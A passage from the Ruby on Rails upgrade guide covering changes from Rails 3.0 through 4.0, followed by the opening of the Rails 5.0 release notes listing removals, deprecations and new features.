<%= form_for [ :update_name, @user ], method: :put do |f| %>

For more on PATCH and why this change was made, see this post on the Rails blog.

5.1.1 A note about media types

The errata for the PATCH verb specifies that a 'diff' media type should be used with PATCH. One such format is JSON Patch. While Rails does not support JSON Patch natively, it's easy enough to add support:

# in your controller
def update
respond_to do |format|
format.json do
# perform a partial update
@article.update params[:article]
end

format.json_patch do
# perform sophisticated change
end
end
end

# In config/initializers/json_patch.rb:
Mime::Type.register 'application/json-patch+json', :json_patch

As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's hana is one such gem, but doesn't have full support for the last few changes in the specification.

5.2 Gemfile

Rails 4.0 removed the assets group from Gemfile. You'd need to remove that line from your Gemfile when upgrading. You should also update your application file (in config/application.rb):

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

5.3 vendor/plugins

Rails 4.0 no longer supports loading plugins from vendor/plugins. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

5.4 Active Record

- Rails 4.0 has removed the identity map from Active Record, due to some inconsistencies with associations. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: config.active_record.identity_map.

- The delete method in collection associations can now receive Integer or String arguments as record ids, besides records, pretty much like the destroy method does. Previously it raised ActiveRecord::AssociationTypeMismatch for such arguments. From Rails 4.0 on delete automatically tries to find the records matching the given ids before deleting them.

- In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.

- Rails 4.0 has changed serialized_attributes and attr_readonly to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. self.serialized_attributes to self.class.serialized_attributes.

- When using the default coder, assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through YAML ("--- \n...\n").

- Rails 4.0 has removed attr_accessible and attr_protected feature in favor of Strong Parameters. You can use the Protected Attributes gem for a smooth upgrade path.

- If you are not using Protected Attributes, you can remove any options related to this gem such as whitelist_attributes or mass_assignment_sanitizer options.

- Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:

scope :active, where(active: true)

# becomes
scope :active, -> { where active: true }

- Rails 4.0 has deprecated ActiveRecord::Fixtures in favor of ActiveRecord::FixtureSet.

- Rails 4.0 has deprecated ActiveRecord::TestCase in favor of ActiveSupport::TestCase.

- Rails 4.0 has deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example, Book.find(:all, conditions: { name: '1984' }) has been deprecated in favor of Book.where(name: '1984')

- All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can handle the changes:

- find_all_by_... becomes where(...).

- find_last_by_... becomes where(...).last.

- scoped_by_... becomes where(...).

- find_or_initialize_by_... becomes find_or_initialize_by(...).

- find_or_create_by_... becomes find_or_create_by(...).

- Note that where(...) returns a relation, not an array like the old finders. If you require an Array, use where(...).to_a.

- These equivalent methods may not execute the same SQL as the previous implementation.

- To re-enable the old finders, you can use the activerecord-deprecated_finders gem.

- Rails 4.0 has changed to default join table for has_and_belongs_to_many relations to strip the common prefix off the second table name. Any existing has_and_belongs_to_many relationship between models with a common prefix must be specified with the join_table option. For example:

CatalogCategory < ActiveRecord::Base
has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
end

CatalogProduct < ActiveRecord::Base
has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
end

- Note that the prefix takes scopes into account as well, so relations between Catalog::Category and Catalog::Product or Catalog::Category and CatalogProduct need to be updated similarly.

5.5 Active Resource

Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the Active Resource gem in your Gemfile.

5.6 Active Model

- Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

- Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the config/initializers/wrap_parameters.rb file:

# Disable root element in JSON by default.
# ActiveSupport.on_load(:active_record) do
#   self.include_root_in_json = false
# end

5.7 Action Pack

- Rails 4.0 introduces ActiveSupport::KeyGenerator and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing secret_token in place and add the new secret_key_base.

# config/initializers/secret_token.rb
Myapp::Application.config.secret_token = 'existing secret token'
Myapp::Application.config.secret_key_base = 'new secret key base'

Please note that you should wait to set secret_key_base until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new secret_key_base in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing secret_token in place, not set the new secret_key_base, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.

If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set secret_key_base until you have decoupled these concerns.

- Rails 4.0 encrypts the contents of cookie-based sessions if secret_key_base has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.

Please read Pull Request #9978 for details on the move to encrypted session cookies.

- Rails 4.0 removed the ActionController::Base.asset_path option. Use the assets pipeline feature.

- Rails 4.0 has deprecated ActionController::Base.page_cache_extension option. Use ActionController::Base.default_static_extension instead.

- Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the actionpack-action_caching gem in order to use caches_action and the actionpack-page_caching to use caches_page in your controllers.

- Rails 4.0 has removed the XML parameters parser. You will need to add the actionpack-xml_parser gem if you require this feature.

- Rails 4.0 changes the default layout lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.

- Rails 4.0 changes the default memcached client from memcache-client to dalli. To upgrade, simply add gem 'dalli' to your Gemfile.

- Rails 4.0 deprecates the dom_id and dom_class methods in controllers (they are fine in views). You will need to include the ActionView::RecordIdentifier module in controllers requiring this feature.

- Rails 4.0 deprecates the :confirm option for the link_to helper. You should instead rely on a data attribute (e.g. data: { confirm: 'Are you sure?' }). This deprecation also concerns the helpers based on this one (such as link_to_if or link_to_unless).

- Rails 4.0 changed how assert_generates, assert_recognizes, and assert_routing work. Now all these assertions raise Assertion instead of ActionController::RoutingError.

- Rails 4.0 raises an ArgumentError if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the resources method. Here are two examples that clash with routes named example_path:

get 'one' => 'test#example', as: :example
get 'two' => 'test#example', as: :example

resources :examples
get 'clashing/:id' => 'test#example', as: :example

In the first case, you can simply avoid using the same name for multiple routes. In the second, you can use the only or except options provided by the resources method to restrict the routes created as detailed in the Routing Guide.

- Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:

get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'

becomes

get 'こんにちは', controller: 'welcome', action: 'index'

- Rails 4.0 requires that routes using match must specify the request method. For example:

# Rails 3.x
match '/' => 'root#index'

# becomes
match '/' => 'root#index', via: :get

# or
get '/' => 'root#index'

- Rails 4.0 has removed ActionDispatch::BestStandardsSupport middleware, <!DOCTYPE html> already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to config.action_dispatch.default_headers.

Remember you must also remove any references to the middleware from your application code, for example:

# Raise exception
config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)

Also check your environment settings for config.action_dispatch.best_standards_support and remove it if present.

- In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from vendor/assets and lib/assets. Rails application and engine developers should put these assets in app/assets or configure config.assets.precompile.

- In Rails 4.0, ActionController::UnknownFormat is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.

- In Rails 4.0, a generic ActionDispatch::ParamsParser::ParseError exception is raised when ParamsParser fails to parse request params. You will want to rescue this exception instead of the low-level MultiJson::DecodeError, for example.

- In Rails 4.0, SCRIPT_NAME is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set default_url_options[:script_name] to work around overwritten URL prefixes.

- Rails 4.0 deprecated ActionController::Integration in favor of ActionDispatch::Integration.

- Rails 4.0 deprecated ActionController::IntegrationTest in favor of ActionDispatch::IntegrationTest.

- Rails 4.0 deprecated ActionController::PerformanceTest in favor of ActionDispatch::PerformanceTest.

- Rails 4.0 deprecated ActionController::AbstractRequest in favor of ActionDispatch::Request.

- Rails 4.0 deprecated ActionController::Request in favor of ActionDispatch::Request.

- Rails 4.0 deprecated ActionController::AbstractResponse in favor of ActionDispatch::Response.

- Rails 4.0 deprecated ActionController::Response in favor of ActionDispatch::Response.

- Rails 4.0 deprecated ActionController::Routing in favor of ActionDispatch::Routing.

5.8 Active Support

Rails 4.0 removes the j alias for ERB::Util#json_escape since j is already used for ActionView::Helpers::JavaScriptHelper#escape_javascript.

5.9 Helpers Loading Order

The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the helpers_path parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use config.railties_order= method.

5.10 Active Record Observer and Action Controller Sweeper

ActiveRecord::Observer and ActionController::Caching::Sweeper have been extracted to the rails-observers gem. You will need to add the rails-observers gem if you require these features.

5.11 sprockets-rails

- assets:precompile:primary and assets:precompile:all have been removed. Use assets:precompile instead.

- The config.assets.compress option should be changed to config.assets.js_compressor like so for instance:

config.assets.js_compressor = :uglifier

5.12 sass-rails

- asset-url with two arguments is deprecated. For example: asset-url("rails.png", image) becomes asset-url("rails.png").

6 Upgrading from Rails 3.1 to Rails 3.2

If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.

The following changes are meant for upgrading your application to the latest 3.2.x version of Rails.

6.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '3.2.21'

group :assets do
gem 'sass-rails',   '~> 3.2.6'
gem 'coffee-rails', '~> 3.2.2'
gem 'uglifier',     '>= 1.0.3'
end

6.2 config/environments/development.rb

There are a couple of new configuration settings that you should add to your development environment:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

6.3 config/environments/test.rb

The mass_assignment_sanitizer configuration setting should also be added to config/environments/test.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

6.4 vendor/plugins

Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

6.5 Active Record

Option :dependent => :restrict has been removed from belongs_to. If you want to prevent deleting the object if there are any associated objects, you can set :dependent => :destroy and return false after checking for existence of association from any of the associated object's destroy callbacks.

7 Upgrading from Rails 3.0 to Rails 3.1

If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.

The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.

7.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '3.1.12'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
gem 'sass-rails',   '~> 3.1.7'
gem 'coffee-rails', '~> 3.1.1'
gem 'uglifier',     '>= 1.0.3'
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

7.2 config/application.rb

The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

# Defaults to '/assets'
config.assets.prefix = '/asset-files'

7.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add these settings if you enable the asset pipeline:

# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

7.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

7.5 config/environments/test.rb

You can help test performance with these additions to your test environment:

# Configure static asset server for tests with Cache-Control for performance
config.public_file_server.enabled = true
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=3600'
}

7.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
wrap_parameters format: [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

7.7 config/initializers/session_store.rb

You need to change your session key to something new, or remove all sessions:

# in config/initializers/session_store.rb
AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'

or

$ bin/rake db:sessions:clear

7.8 Remove :cache and :concat options in asset helpers references in views

- With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

Ruby on Rails 5.0 Release Notes — Ruby...

1 Upgrading to Rails 5.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Action Cable

Pull Request

Action Cable is a new framework in Rails 5. It seamlessly integrates WebSockets with the rest of your Rails application.

Action Cable allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

See the Action Cable Overview guide for more information.

2.2 API Applications

Rails can now be used to create slimmed down API only applications. This is useful for creating and serving APIs similar to Twitter or GitHub API, that can be used to serve public facing, as well as, for custom applications.

You can generate a new api Rails app using:

$ rails new my_api --api

This will do three main things:

- Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.

- Make ApplicationController inherit from ActionController::API instead of ActionController::Base. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.

- Configure the generators to skip generating views, helpers and assets when you generate a new resource.

The application provides a base for APIs, that can then be configured to pull in functionality as suitable for the application's needs.

See the Using Rails for API-only Applications guide for more information.

2.3 Active Record attributes API

Defines an attribute with a type on a model. It will override the type of existing attributes if needed. This allows control over how values are converted to and from SQL when assigned to a model. It also changes the behavior of values passed to ActiveRecord::Base.where, which lets use our domain objects across much of Active Record, without having to rely on implementation details or monkey patching.

Some things that you can achieve with this:

- The type detected by Active Record can be overridden.

- A default can also be provided.

- Attributes do not need to be backed by a database column.

# db/schema.rb
create_table :store_listings, force: true do |t|
t.decimal :price_in_cents
t.string :my_string, default: "original default"
end

# app/models/store_listing.rb
class StoreListing < ActiveRecord::Base
end

store_listing = StoreListing.new(price_in_cents: '10.1')

# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"

class StoreListing < ActiveRecord::Base
attribute :price_in_cents, :integer # custom type
attribute :my_string, :string, default: "new default" # default value
attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
attribute :field_without_db_column, :integer, array: true
end

# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
model.attributes # => {field_without_db_column: [1, 2, 3]}

Creating Custom Types:

You can define your own custom types, as long as they respond to the methods defined on the value type. The method deserialize or cast will be called on your type object, with raw input from the database or from your controllers. This is useful, for example, when doing custom conversion, like Money data.

Querying:

When ActiveRecord::Base.where is called, it will use the type defined by the model class to convert the value to SQL, calling serialize on your type object.

This gives the objects ability to specify, how to convert values when performing SQL queries.

Dirty Tracking:

The type of an attribute is given the opportunity to change how dirty tracking is performed.

See its documentation for a detailed write up.

2.4 Test Runner

A new test runner has been introduced to enhance the capabilities of running tests from Rails. To use this test runner simply type bin/rails test.

Test Runner is inspired from RSpec, minitest-reporters, maxitest and others. It includes some of these notable advancements:

- Run a single test using line number of test.

- Run multiple tests pinpointing to line number of tests.

- Improved failure messages, which also add ease of re-running failed tests.

- Fail fast using -f option, to stop tests immediately on occurrence of failure, instead of waiting for the suite to complete.

- Defer test output until the end of a full test run using the -d option.

- Complete exception backtrace output using -b option.

- Integration with Minitest to allow options like -s for test seed data, -n for running specific test by name, -v for better verbose output and so forth.

- Colored test output.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Removed debugger support, use byebug instead. debugger is not supported by Ruby 2.2. (commit)

- Removed deprecated test:all and test:all:db tasks. (commit)

- Removed deprecated Rails::Rack::LogTailer. (commit)

- Removed deprecated RAILS_CACHE constant. (commit)

- Removed deprecated serve_static_assets configuration. (commit)

- Removed the documentation tasks doc:app, doc:rails, and doc:guides. (commit)

- Removed Rack::ContentLength middleware from the default stack. (Commit)

3.2 Deprecations

- Deprecated config.static_cache_control in favor of config.public_file_server.headers. (Pull Request)

- Deprecated config.serve_static_files in favor of config.public_file_server.enabled. (Pull Request)

- Deprecated the tasks in the rails task namespace in favor of the app namespace. (e.g. rails:update and rails:template tasks are renamed to app:update and app:template.) (Pull Request)

3.3 Notable changes

- Added Rails test runner bin/rails test. (Pull Request)

- Newly generated applications and plugins get a README.md in Markdown. (commit, Pull Request)

- Added bin/rails restart task to restart your Rails app by touching tmp/restart.txt. (Pull Request)

- Added bin/rails initializers task to print out all defined initializers in the order they are invoked by Rails. (Pull Request)

- Added bin/rails dev:cache to enable or disable caching in development mode. (Pull Request)

- Added bin/update script to update the development environment automatically. (Pull Request)

- Proxy Rake tasks through bin/rails. (Pull Request, Pull Request)

- New applications are generated with the evented file system monitor enabled on Linux and Mac OS X. The feature can be opted out by passing --skip-listen to the generator. (commit, commit)

- Generate applications with an option to log to STDOUT in production using the environment variable RAILS_LOG_TO_STDOUT. (Pull Request)

- Enable HSTS with IncludeSudomains header for new applications. (Pull Request)

- The application generator writes a new file config/spring.rb, which tells Spring to watch additional common files. (commit)

- Added --skip-action-mailer to skip Action Mailer while generating new app. (Pull Request)

- Removed tmp/sessions directory and the clear rake task associated with it. (Pull Request)

- Changed _form.html.erb generated by scaffold generator to use local variables. (Pull Request)

- Disabled autoloading of classes in production environment. (commit)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

- Removed ActionDispatch::Request::Utils.deep_munge. (commit)

- Removed ActionController::HideActions. (Pull Request)

- Removed respond_to and respond_with placeholder methods, this functionality has been extracted to the responders gem. (commit)

- Removed deprecated assertion files. (commit)

- Removed deprecated usage of string keys in URL helpers. (commit)

- Removed deprecated only_path option on *_path helpers. (commit)

- Removed deprecated NamedRouteCollection#helpers. (commit)

- Removed deprecated support to define routes with :to option that doesn't contain #. (commit)

- Removed deprecated ActionDispatch::Response#to_ary. (commit)

- Removed deprecated ActionDispatch::Request#deep_munge. (commit)

- Removed deprecated ActionDispatch::Http::Parameters#symbolized_path_parameters. (commit)

- Removed deprecated option use_route in controller tests. (commit)

- Removed assigns and assert_template. Both methods have been extracted into the rails-controller-testing gem. (Pull Request)

4.2 Deprecations

- Deprecated all *_filter callbacks in favor of *_action callbacks. (Pull Request)

- Deprecated *_via_redirect integration test methods. Use follow_redirect! manually after the request call for the same behavior. (Pull Request)

- Deprecated AbstractController#skip_action_callback in favor of individual skip_callback methods. (Pull Request)

- Deprecated :nothing option for render method. (Pull Request)

- Deprecated passing first parameter as Hash and default status code for head method. (Pull Request)

- Deprecated using strings or symbols for middleware class names. Use class names instead. (commit)

- Deprecated accessing mime types via constants (eg. Mime::HTML). Use the subscript operator with a symbol instead (eg. Mime[:html]). (Pull Request)

- Deprecated redirect_to :back in favor of redirect_back, which accepts a required fallback_location argument, thus eliminating the possibility of a RedirectBackError. (Pull Request)

- ActionDispatch::IntegrationTest and ActionController::TestCase deprecate positional arguments in favor of keyword arguments. (Pull Request)

- Deprecated :controller and :action path parameters. (Pull Request)

- Deprecated env method on controller instances. (commit)

- ActionDispatch::ParamsParser is deprecated and was removed from the middleware stack. To configure the parameter parsers use ActionDispatch::Request.parameter_parsers=. (commit, commit)

4.3 Notable changes

- Added ActionController::Renderer to render arbitrary templates outside controller actions. (Pull Request)

- Migrating to keyword arguments syntax in ActionController::TestCase and ActionDispatch::Integration HTTP request methods. (Pull Request)

- Added http_cache_forever to Action Controller, so we can cache a response that never gets expired. (Pull Request)

- Provide friendlier access to request variants. (Pull Request)

- For actions with no corresponding templates, render head :no_content instead of raising an error. (Pull Request)

- Added the ability to override default form builder for a controller. (Pull Request)

- Added support for API only apps. ActionController::API is added as a replacement of ActionController::Base for this kind of applications. (Pull Request)

- Make ActionController::Parameters no longer inherits from HashWithIndifferentAccess. (Pull Request)

- Make it easier to opt in to config.force_ssl and config.ssl_options by making them less dangerous to try and easier to disable. (Pull Request)

- Added the ability of returning arbitrary headers to ActionDispatch::Static. (Pull Request)

- Changed the protect_from_forgery prepend default to false. (commit)

- ActionController::TestCase will be moved to its own gem in Rails 5.1. Use ActionDispatch::IntegrationTest instead. (commit)

- Rails generates weak ETags by default. (Pull Request)

- Controller actions without an explicit render call and with no corresponding templates will render head :no_content implicitly instead of raising an error. (Pull Request 1, 2)

- Added an option for per-form CSRF tokens. (Pull Request)

- Added request encoding and response parsing to integration tests. (Pull Request)

- Add ActionController#helpers to get access to the view context at the controller level. (Pull Request)

- Discarded flash messages get removed before storing into session. (Pull Request)

- Added support for passing collection of records to fresh_when and stale?. (Pull Request)

- ActionController::Live became an ActiveSupport::Concern. That means it can't be just included in other modules without extending them with ActiveSupport::Concern or ActionController::Live won't take effect in production. Some people may be using another module to include some special Warden/Devise authentication failure handling code as well since the middleware can't catch a :warden thrown by a spawned thread which is the case when using ActionController::Live. (More details in this issue)

- Introduce Response#strong_etag= and #weak_etag= and analogous options for fresh_when and stale?. (Pull Request)

5 Action View

Please refer to the Changelog for detailed changes.

5.1 Removals

- Removed deprecated AbstractController::Base::parent_prefixes. (commit)

- Removed ActionView::Helpers::RecordTagHelper, this functionality has been extracted to the record_tag_helper gem. (Pull Request)

- Removed :rescue_format option for translate helper since it's no longer supported by I18n. (Pull Request)

5.2 Notable Changes

- Changed the default template handler from ERB to Raw. (commit)

- Collection rendering can cache and fetches multiple partials at once. (Pull Request, commit)

- Added wildcard matching to explicit dependencies. (Pull Request)

- Make disable_with the default behavior for submit tags. Disables the button on submit to prevent double submits. (Pull Request)

- Partial template name no longer has to be a valid Ruby identifier. (commit)

- The datetime_tag helper now generates an input tag with the type of datetime-local. (Pull Request)

6 Action Mailer

Please refer to the Changelog for detailed changes.

6.1 Removals

- Removed deprecated *_path helpers in email views. (commit)

- Removed deprecated deliver and deliver! methods. (commit)

6.2 Notable changes

- Template lookup now respects default locale and I18n fallbacks. (commit)

- Added _mailer suffix to mailers created via generator, following the same naming convention used in controllers and jobs. (Pull Request)

- Added assert_enqueued_emails and assert_no_enqueued_emails. (Pull Request)

- Added config.action_mailer.deliver_later_queue_name configuration to set the mailer queue name. (Pull Request)

- Added support for fragment caching in Action Mailer views. Added new config option config.action_mailer.perform_caching to determine whether your templates should perform caching or not. (Pull Request)

7 Active Record

Please refer to the Changelog for detailed changes.

7.1 Removals

- Removed deprecated behavior allowing nested arrays to be passed as query values. (Pull Request)

- Removed deprecated ActiveRecord::Tasks::DatabaseTasks#load_schema. This method was replaced by ActiveRecord::Tasks::DatabaseTasks#load_schema_for. (commit)

- Removed deprecated serialized_attributes. (commit)

- Removed deprecated automatic counter caches on has_many :through. (commit)

- Removed deprecated sanitize_sql_hash_for_conditions. (commit)

- Removed deprecated Reflection#source_macro. (commit)

- Removed deprecated symbolized_base_class and symbolized_sti_name. (commit)

- Removed deprecated ActiveRecord::Base.disable_implicit_join_references=. (commit)

- Removed deprecated access to connection specification using a string accessor. (commit)

- Removed deprecated support to preload instance-dependent associations. (commit)

- Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. (commit)

- Removed deprecation when modifying a relation with cached Arel. This raises an ImmutableRelation error instead. (commit)

- Removed ActiveRecord::Serialization::XmlSerializer from core. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

- Removed support for the legacy mysql database adapter from core. Most users should be able to use mysql2. It will be converted to a separate gem when we find someone to maintain it. (Pull Request 1, Pull Request 2)

- Removed support for the protected_attributes gem. (commit)

- Removed support for PostgreSQL versions below 9.1. (Pull Request)

- Removed support for activerecord-deprecated_finders gem. (commit)

- Removed ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES constant. (commit)

7.2 Deprecations

- Deprecated passing a class as a value in a query. Users should pass strings instead. (Pull Request)

- Deprecated returning false as a way to halt Active Record callback chains. The recommended way is to throw(:abort). (Pull Request)

- Deprecated ActiveRecord::Base.errors_in_transactional_callbacks=. (commit)

- Deprecated Relation#uniq use Relation#distinct instead. (commit)

- Deprecated the PostgreSQL :point type in favor of a new one which will return Point objects instead of an Array (Pull Request)

- Deprecated force association reload by passing a truthy argument to association method. (Pull Request)

- Deprecated the keys for association restrict_dependent_destroy errors in favor of new key names. (Pull Request)

- Synchronize behavior of #tables. (Pull Request)

- Deprecated SchemaCache#tables, SchemaCache#table_exists? and SchemaCache#clear_table_cache! in favor of their new data source counterparts. (Pull Request)

- Deprecated connection.tables on the SQLite3 and MySQL adapters. (Pull Request)

- Deprecated passing arguments to #tables - the #tables method of some adapters (mysql2, sqlite3) would return both tables and views while others (postgresql) just return tables. To make their behavior consistent, #tables will return only tables in the future. (Pull Request)

- Deprecated table_exists? - The #table_exists? method would check both tables and views. To make their behavior consistent with #tables, #table_exists? will check only tables in the future. (Pull Request)

- Deprecate sending the offset argument to find_nth. Please use the offset method on relation instead. (Pull Request)

- Deprecated {insert|update|delete}_sql in DatabaseStatements. Use the {insert|update|delete} public methods instead. (Pull Request)

- Deprecated use_transactional_fixtures in favor of use_transactional_tests for more clarity. (Pull Request)

- Deprecated passing a column to ActiveRecord::Connection#quote. (commit)

- Added an option end to find_in_batches that complements the start parameter to specify where to stop batch processing. (Pull Request)

7.3 Notable changes

- Added a foreign_key option to references while creating the table. (commit)

- New attributes API. (commit)

- Added :_prefix/:_suffix option to enum definition. (Pull Request, Pull Request)

- Added #cache_key to ActiveRecord::Relation. (Pull Request)

- Changed the default null value for timestamps to false. (commit)

- Added ActiveRecord::SecureToken in order to encapsulate generation of unique tokens for attributes in a model using SecureRandom. (Pull Request)

- Added :if_exists option for drop_table. (Pull Request)

- Added ActiveRecord::Base#accessed_fields, which can be used to quickly discover which fields were read from a model when you are looking to only select the data you need from the database. (commit)

- Added the #or method on ActiveRecord::Relation, allowing use of the OR operator to combine WHERE or HAVING clauses. (commit)

- Added ActiveRecord::Base.suppress to prevent the receiver from being saved during the given block. (Pull Request)

- belongs_to will now trigger a validation error by default if the association is not present. You can turn this off on a per-association basis with optional: true. Also deprecate required option in favor of optional for belongs_to. (Pull Request)

- Added config.active_record.dump_schemas to configure the behavior of db:structure:dump. (Pull Request)

- Added config.active_record.warn_on_records_fetched_greater_than option. (Pull Request)

- Added a native JSON data type support in MySQL. (Pull Request)

- Added support for dropping indexes concurrently in PostgreSQL. (Pull Request)

- Added #views and #view_exists? methods on connection adapters. (Pull Request)

- Added ActiveRecord::Base.ignored_columns to make some columns invisible from Active Record. (Pull Request)

- Added connection.data_sources and connection.data_source_exists?. These methods determine what relations can be used to back Active Record models (usually tables and views). (Pull Request)

- Allow fixtures files to set the model class in the YAML file itself. (Pull Request)

- Added ability to default to uuid as primary key when generating database migrations. (Pull Request)

- Added ActiveRecord::Relation#left_joins and ActiveRecord::Relation#left_outer_joins. (Pull Request)

- Added after_{create,update,delete}_commit callbacks. (Pull Request)

- Version the API presented to migration classes, so we can change parameter defaults without breaking existing migrations, or forcing them to be rewritten through a deprecation cycle. (Pull Request)

- ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior. (Pull Request)

- Added ActiveRecord #second_to_last and #third_to_last methods. (Pull Request)

- Added ability to annotate database objects (tables, columns, indexes) with comments stored in database metadata for PostgreSQL & MySQL. (Pull Request)

- Added prepared statements support to mysql2 adapter, for mysql2 0.4.4+, Previously this was only supported on the deprecated mysql legacy adapter. To enable, set prepared_statements: true in config/database.yml. (Pull Request)

- Added ability to call ActionRecord::Relation#update on relation objects which will run validations on callbacks on all objects in the relation. (Pull Request)

- Added :touch option to the save method so that records can be saved without updating timestamps. (Pull Request)

- Added expression indexes and operator classes support for PostgreSQL. (commit)

- Added :index_errors option to add indexes to errors of nested attributes. (Pull Request)

- Added support for bidirectional destroy dependencies. (Pull Request)

- Added support for after_commit callbacks in transactional tests. (Pull Request)

